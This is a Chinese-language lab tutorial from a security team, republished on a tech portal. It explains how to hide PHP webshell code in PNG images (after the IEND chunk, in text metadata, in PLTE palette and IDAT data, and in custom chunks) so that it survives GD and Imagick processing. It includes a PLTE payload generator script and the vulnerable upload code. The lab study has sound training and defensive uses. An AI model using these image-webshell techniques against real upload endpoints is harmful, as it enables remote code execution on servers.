0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

PHP代码执行-PNG注入

蛇矛实验室 来源:蛇矛实验室 作者:蛇矛实验室 2022-11-21 14:18 次阅读

本环境是蛇矛实验室基于"火天网演攻防演训靶场"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。

环境准备

图片马想要执行需要的条件:

1.图片可以上传到目标服务器上。

2.图片可解析为PHP代码。

要满足第一个条件,可能的方式有文件上传、远程文件下载、SSRF等方式。

要满足第二个条件可能的方式有上传比如png格式木马但是可以改名为php,从而解析为php;或者可以修改.htacces文件来控制这个php解析类型,使其支持解析png为php代码执行;或者是只能上传png格式图片,但是可以文件包含这个png来执行php代码。

当然以上描述的情况这个跟目标环境有关系。为了方便测试,我制作了一个docker镜像。镜像中web服务支持文件上传,上传时会检查MIME类型是否为图片,但是不检查上传文件的扩展名。这表示可以上传一个图片格式的.php文件到服务器上。在靶场中利用靶机拉取docker镜像。

dockerpullordar/astrolock
dockerrun-d-p80:80ordar/astrolock

PNG结构

PNG的基本构成为:

8字节头文件+4字节数据长度+4字节数据标识符+数据块数据+4字节CRC校验码

PNG图片由很多数据块组成,每个数据块包含了不同的信息。PNG定义了两种类型的数据块:

一种是称为关键数据块(critical chunk),这是标准的数据块,每个PNG文件必须包含。

另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。

关键数据块

关键数据块包括:文件头数据块调色板数据块图像数据块图像结束数据块

“89 50 4E 47 00 DA 1A 0A” png文件的标识符

文件头数据块IHDR

调色板数据块PLTE

图像数据块IDAT

图像结束数据块IEND

辅助数据块

其余 18 个块类型称为辅助块类型, 编码器可以生成哪些,解码器可以解释。

透明度信息:tRNS色彩空间信息:cHRM、gAMA、iCCP、sBIT、sRGB、cICP文本信息:iTXt,tEXt,zTXt杂项信息:bKGD、hIST、pHYs、sPLT、eXIf时间信息:tIME动画信息:acTL,fcTL,fdAT

部分数据块如下:

6a93df18-6740-11ed-8abf-dac502259ad0.png

在PNG中注入PHP代码

first-part 简单插入

查看/first-part的源代码,这非常简单:网络表单需要标题、描述和有效的PNG文件。然后,应用程序将从上传的图像文件中获取数据,从原始文件名构建一个唯一的文件名,并将文件简单地存储在文件系统中(suits_thumbnails目录中,可公开访问)。

# 创建“suit”对象并将其链接到Symfony表单
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 获取通过表单上传的文件,从原始文件名构建一个唯一的文件名
$suitFile = $form->get('suit')->getData();
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
# 将上传的文件用唯一文件名存储在Web服务器上的缩略图目录/suits_thumbnails/中
try{
$suitFile->move(
$this->getParameter('thumbnails_directory'),
$newFilename
);
$suit->setSuitFilename($newFilename);
} catch(FileException $e) {
returnnewResponse("File exception");
}
# 将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_first_part');
}

方法一 直接拼接

网上搜索图片马制作的方法,很容易就能找到的方法就是这种。以下方法的效果是等效的。

1.文本方式打开图片,然后末尾粘贴一句话木马;

2.cmd中 copy 1.png /b + 2.php 3.png;

3.使用echo命令追加代码到png图片末尾。

这种方法已经烂大街了,这里就不多说了,懂得都懂。在png图像结束块IEND后面紧跟着phpinfo。

6ac24998-6740-11ed-8abf-dac502259ad0.png

方法二 预定义文本块注入

PNG 图像格式允许向文件添加注释以存储一些meta data数据。通过查阅PNG文档可以找到已经定义的文本块关键字。

6b152848-6740-11ed-8abf-dac502259ad0.png

当然这些关键字是可以修改的,通过下载工具https://exiftool.org/来设置这些预定义关键字。

6b235d5a-6740-11ed-8abf-dac502259ad0.png

当然它是可以成功解析的,可以看到文本块copyright后面紧接着就是phpinfo。

6b41e248-6740-11ed-8abf-dac502259ad0.png

PHP-GD库的压缩图像

大多数时候,图像文件不会像/first-part所假设的那样按原样存储在服务器上。而是使用一些标准的PHP 库(如 PHP-GD)将图像调整大小、压缩或编码为特定的文件格式。

/second-part 路径为攻击者实现了一个稍微更现实、也更困难的场景。在存储用户上传的文件之前,应用程序将使用 PHP-GD 函数 imagepng 压缩所有上传到 Web 服务器的图像。

# 创建“suit”对象并将其链接到Symfony表单
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 从表单中获取上传文件
$suitFile = $form->get('suit')->getData();

# 从原始文件名生成唯一的文件名
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;

try{
# 压缩上传的PNG(gzip库的第9级)并保存
$source = imagecreatefrompng($suitFile->getPathName());
imagepng($source, $this->getParameter('thumbnails_directory').'/'.$newFilename, 9);
$suit->setSuitFilename($newFilename);
} catch(FileException $e) {
returnnewResponse("Exception in image processing");
}
# 将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_second_part');
}

方法三 PLTE块注入

压缩 PNG 文件时,PHP-GD将删除辅助块以减小输出文件的大小。这就是为什么我们在第一部分中注入的PHP payload无法在压缩过程中幸存下来。

但是,如果我们可以将我们的payload注入到 PNG 文件的关键块中呢?当然,这些块在压缩图像时不会被破坏。执行这种注入的完美候选者是 PLTE 块,这是一个包含 PNG 图像的“调色板”的关键块,即颜色列表。根据 PNG 规范:

PLTE 块包含 1 到 256 个调色板条目,每个条目都是三字节的形式:

Red: 1byte(0= black, 255= red)
Green: 1byte(0= black, 255= green)
Blue: 1byte(0= black, 255= blue)

使用PLTE块,我们可能有256*3字节可用于将我们的payload注入到这样一个关键块中,这应该绰绰有余。唯一的限制是有效载荷的长度必须能被3整除。

使用下面的脚本,可以轻松创建PLTE块注入payload的png图像。

 ");

$_payload= $argv[1];
$output= $argv[2];

while(strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if($_pay_len> 256*3){
echo"FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len%3 != 0){
echo"FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}

$width=$_pay_len/3;
$height=20;
$im= imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i< count($_chunks); $i++){
    $_color_chunks=str_split($_chunks[$i], 2);
    $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
    
    imagesetpixel($im,$i,1,$color);
}
    
imagepng($im,$output);

执行脚本:

php gen.php '' png-plte-inject.php

使用PLTE注入可以绕过PHP-GD库的压缩,可以成功上传并且成功解析。

6b8fb4aa-6740-11ed-8abf-dac502259ad0.png

PHP-GD库调整图像大小

Web 应用程序在处理图像时执行的另一个标准操作是调整它们的大小以标准化它们的格式。为此,应用程序可以例如使用PHP-GD库imagecopyresized函数或 imagecopyresampled函数。

/third-part路由实现了目标应用程序在存储输入PNG 文件之前对其进行压缩和调整大小的场景。

# 创建“suit”对象并将其链接到Symfony表单
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 从表单中获取上传文件
$suitFile = $form->get('suit')->getData();

# 从原始文件名生成唯一的文件名
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;

try{
# 压缩上传的PNG(gzip库的第9级),调整大小并保存
$filename = $suitFile->getPathName();
list($width, $height) = getimagesize($filename);
$source = imagecreatefrompng($filename);
$thumb = imagecreatetruecolor(55, 55);
imagecopyresampled($thumb, $source, 0, 0, 0, 0, 55, 55, $width, $height);
imagepng($thumb, $this->getParameter('thumbnails_directory').'/'.$newFilename);
$suit->setSuitFilename($newFilename);
} catch(FileException $e) {
returnnewResponse("Exception in image processing");
}

# 将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_third_part');
}

方法四 IDAT块注入

调整图像大小时,即使是 PLTE关键块的内容也会被破坏,我们的payload也会随之破坏。这些函数实际上只使用原始文件中的像素数据来创建一个全新的图像。关键数据块或辅助数据块中包含的数据都可能会被忽略。

将PHP载荷注入PNG文件的一种相当复杂但有效的方法是将其编码为PNG的IDAT块。

当将原始图像保存为PNG时,图像的每一行都按字节进行过滤,并且该行前缀有一个数字,该数字描述了所使用的过滤器类型(0x01到0x05),不同的行可以使用不同的过滤器。这背后的基本原理是提高压缩比。过滤完所有行后,它们都使用 DEFLATE 算法压缩以形成 IDAT 块。

6bdbbbd4-6740-11ed-8abf-dac502259ad0.png

要生成一个包含有效PHP代码的IDAT 块,应该找到原始像素的精确组合,这些像素一旦被 PNG线过滤器和DEFLATE算法处理,就会输出所需的有效载荷。

字符串不能包含任何重复的代码块,否则它们将被压缩。

虽然很难,但确实是可以实现的。

可以使用以下脚本来生成110x110的PNG图像,一旦调整为55x55,IDAT汇总将包含 PHP 代码:

此脚本生成恶意 PNG 图像:

phpgenerate_idat_png.php> png-idat-inject.php

这时候将生成的图像通过/third-part路由上传,就可以触发webshell。

6bf27518-6740-11ed-8abf-dac502259ad0.png

通过发送POST请求来触发php执行。

6c42bfe6-6740-11ed-8abf-dac502259ad0.png

IMAGICK库调整图像大小

除了PHP-GD之外,最流行的图像处理库之一是Imagick,它是ImageMagick的PHP实现。/fourth-part路由说明了一个应用程序,它使用thumbnailImage功能调整用户上传的文件的大小。此函数用于产生较小的low-cost缩略图图像,适合在Web上显示。

# 创建“suit”对象并将其链接到Symfony表单
$suit = newSuit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);

# 如果用户定义了标题、描述并上传了JPG/PNG MIME类型的文件,则表单将提交并有效
if($form->isSubmitted() && $form->isValid()) {

# 从表单中获取上传文件
$suitFile = $form->get('suit')->getData();

# 从原始文件名生成唯一的文件名
if($suitFile) {
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;

try{
# 使用Imagick将文件转换为100x100缩略图
$filename = $suitFile->getPathName();
$imgck = newImagick($filename);
$imgck->thumbnailImage(55, 55, true, true);
$imgck->writeImage($this->getParameter('thumbnails_directory')."/".$newFilename);
$suit->setSuitFilename($newFilename);
} catch(Exception$e) {
returnNewResponse("Exception in image processing");
}
}

#将“suit”对象存储在数据库中以在应用程序中显示
$entityManager->persist($suit);
$entityManager->flush();
return$this->redirectToRoute('app_fourth_part');
}

方法五 自定义文本块注入

当Imagick调整图像大小时,它实际上会对文本块执行几个操作:

擦除标记为“Comment”的tEXt块。

覆盖以下tEXt块的值(或者如果它们不存在则定义它们):date:create, date:modify, software, Thumb::Pages, Thumb::Height, Thumb::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI。

保留任何其他tEXt块的原始值(包括不存在预定义关键字的tEXt块)。

在方法二的PNG注释中,我们已经知道了预定义的tEXt块的预定义关键字有如下这些:

6b152848-6740-11ed-8abf-dac502259ad0.png

因为我们修改的是copyright块,所以是可以绕过thumbnailImage方法的处理的。

使用方法二的图像,可以成功执行。如下图,可以看到它并不是紧跟在tEXt块后面执行。

6c5e201a-6740-11ed-8abf-dac502259ad0.png

除了以上预定义关键字,我们还可以自定义关键字。通过以下简单的python代码可以实现。

# -*- coding: utf-8 -*-
# @Author : ordar
# @Python: 3.7.5
fromPIL importImage
fromPngImagePlugin importPngInfo
im = Image.open("png/png.png")
p = PngInfo()
# PngInfo类有两个方法add_itxt和add_text,这两个方法实现的效果是一样的。
# iTXt是国际文本数据;iEXt是文本信息数据块
# p.add_itxt(b"Aaaaa", b"")
p.add_text(b"Aaaaa", b"")
im.save("png/png-text-custom.png",pnginfo=p)

用exiftool工具查看图片信息,可以发现Aaaaa文本信息成功添加进去了。

6cae3ce4-6740-11ed-8abf-dac502259ad0.png

当然也可以解析执行。

6cc0a06e-6740-11ed-8abf-dac502259ad0.png

总结

当服务器可以将图像文件解释为PHP时,例如弱扩展检查、解析漏洞、本地文件包含漏洞、错误配置PHP解析扩展等方式,可以使用这些技术来造成代码执行。

6cf3e316-6740-11ed-8abf-dac502259ad0.png

蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    12

    文章

    8751

    浏览量

    84734
  • 代码
    +关注

    关注

    30

    文章

    4678

    浏览量

    67896
  • PHP
    PHP
    +关注

    关注

    0

    文章

    452

    浏览量

    26596

原文标题:PHP代码执行-PNG注入

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    什么是PHP?什么是PHPer?

    、PERL和PHP式的新语法。PHP语言可以单独运行,也可以镶嵌在HTML文件中,这样程序员就可以不必完全依赖HTML生成网页。因为PHP语言的执行都在服务器端,所以客户端是看不到
    发表于 10-15 11:37

    PHP常用代码大全

    1、连接MYSQL数据库代码
    发表于 09-01 15:06 0次下载

    PHP从入门到精通(免费)

    PHP分界标示符确定PHP脚本的开始和结束位置,在PHP语言中有四种不同风格的分界标示符可以让PHP代码嵌入到HTML
    发表于 12-24 16:16 9次下载

    PHP实现定时任务的几种方法详解

    PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行执行效率比完全生成HTML标记的CGI要高许多;
    发表于 01-28 09:30 7129次阅读

    CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警

    webshell指令,在服务器上执行任意代码,因此该代码注入漏洞的影响较大。安全建议手动修复临时解决可以在/type.php文件中对temp
    发表于 12-07 16:18 339次阅读

    PHP如何打开一个页面执行另一个页面的代码

    一般php程序必须是在浏览器打开页面的时候触发执行的,用下面的方法,可以在A页面启动B页面的php程序执行。而且,A页面关闭后,B页面不会停止执行
    发表于 03-14 17:17 8次下载
    <b class='flag-5'>PHP</b>如何打开一个页面<b class='flag-5'>执行</b>另一个页面的<b class='flag-5'>代码</b>

    PHP程序设计高级教程的源代码合集免费下载

    本文档的主要内容详细介绍的是PHP程序设计高级教程的源代码合集免费下载。
    发表于 12-17 08:00 55次下载
    <b class='flag-5'>PHP</b>程序设计高级教程的源<b class='flag-5'>代码</b>合集免费下载

    PHP_CodeSniffer PHP代码审查

    ./oschina_soft/PHP_CodeSniffer.zip
    发表于 06-30 10:37 1次下载
    <b class='flag-5'>PHP</b>_CodeSniffer <b class='flag-5'>PHP</b><b class='flag-5'>代码</b>审查

    如何在PHP代码中使用HTTP代理IP

    如何在PHP代码中使用HTTP代理IP。
    的头像 发表于 08-04 16:08 2349次阅读

    初识PHP(1):PHP是什么

    PHP,Hypertext Preprocessor,翻译过来就是超文本预处理器,是一种在服务器上执行的脚本语言。 PHP可以做什么? 为什么在HTML,CSS的基础上,还需要PHP
    的头像 发表于 01-13 17:50 595次阅读

    初识PHP(2):语法和变量创建

    PHP 脚本文件在服务器上执行,然后将结果以HTML 的形式发送回浏览器。 PHP 语法 PHP 文件通常会包含HTML 代码
    的头像 发表于 01-13 17:50 479次阅读

    php运行机制和原理

    PHP是一种在服务器端执行的脚本语言,它被广泛用于开发动态网站。它的运行机制和原理非常重要,因为它决定了PHP脚本如何被解释执行和与服务器进行交互。
    的头像 发表于 12-04 15:28 806次阅读

    php的特点有哪些

    PHP是一种通用的脚本语言,特点丰富多样。 PHP是一种开源的服务器端脚本语言,主要用于开发Web应用程序。它可以嵌入HTML代码中,也可以作为命令行脚本执行
    的头像 发表于 12-04 15:50 1294次阅读

    php的源码是开放的吗

    PHP是一种开源的脚本语言,其源代码完全开放并可免费获取、使用和修改。这篇文章将详细介绍PHP的源码开放性。 一、PHP的源码开放性 PHP
    的头像 发表于 12-04 15:57 1061次阅读

    php编程用什么软件

    PHP编程过程中,有许多不同的开发软件可供选择。以下是一些常用的PHP开发工具,它们可以帮助程序员编写、调试和测试PHP代码。 PHPStorm PHPStorm是一款强大的集成开发
    的头像 发表于 12-04 16:20 2426次阅读